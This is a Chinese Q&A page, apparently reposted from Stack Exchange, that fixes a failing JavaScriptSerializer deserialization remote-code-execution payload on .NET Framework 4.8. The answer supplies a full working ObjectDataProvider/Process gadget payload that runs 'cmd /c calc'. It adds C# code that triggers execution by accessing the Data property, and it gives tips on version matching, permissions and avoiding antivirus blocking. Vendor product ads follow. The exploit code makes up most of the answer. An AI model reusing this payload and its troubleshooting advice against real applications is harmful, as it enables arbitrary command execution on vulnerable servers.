You need to enable JavaScript to run this app.
优惠活动
大模型
产品
解决方案
定价
更多

.NET Framework 4.8中JavaScriptSerializer RCE攻击验证失效问题

问题原因与解决方案

你的payload结构本身无问题,但JavaScriptSerializer仅完成对象的实例化与属性赋值,不会主动触发ObjectDataProvider的方法执行。ObjectDataProvider通过MethodName指定的方法,只有当它的Data属性被访问时才会被调用。

修复后的测试代码

修改代码,在反序列化后主动访问Data属性,触发Start方法执行:

using System.Web.Script.Serialization;
using System.Windows.Data;

JavaScriptSerializer js = new JavaScriptSerializer(new SimpleTypeResolver());

string maliciousPayload = @"{
    '__type':'System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35',
    'MethodName':'Start',
    'ObjectInstance':{
        '__type':'System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089',
        'StartInfo': {
            '__type':'System.Diagnostics.ProcessStartInfo, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089',
            'FileName':'cmd',
            'Arguments':'/c calc'
        }
    }
}";

// 反序列化得到ObjectDataProvider实例
var odp = (ObjectDataProvider)js.Deserialize(maliciousPayload, typeof(ObjectDataProvider));
// 访问Data属性触发Start方法执行
var _ = odp.Data;

额外检查点

  1. 程序集版本匹配:确保项目引用的PresentationFramework和System程序集版本与payload中指定的Version=4.0.0.0一致;若使用更高版本的.NET Framework(如4.8),可将版本号改为对应版本或直接省略(SimpleTypeResolver可自动匹配)。
  2. 运行权限验证:确认程序有足够权限启动外部进程,避免UAC或杀毒软件拦截计算器进程。
  3. 系统架构适配:若在64位系统上运行32位程序,可将FileName改为C:\Windows\SysWOW64\cmd.exe,确保调用对应架构的命令行工具。

内容的提问来源于stack exchange,提问作者Max Strandberg

相关产品推荐
方舟 Agent Plan

超全模态模型 × Harness 升级,最新支持 Deepseek-V4.1-Flash、GLM-5.3 系列、Doubao-Seedream-5.0-pro、Kimi-K3 (部分), 限时 9.9 元起

最近更新时间:2026.07.02 01:07:21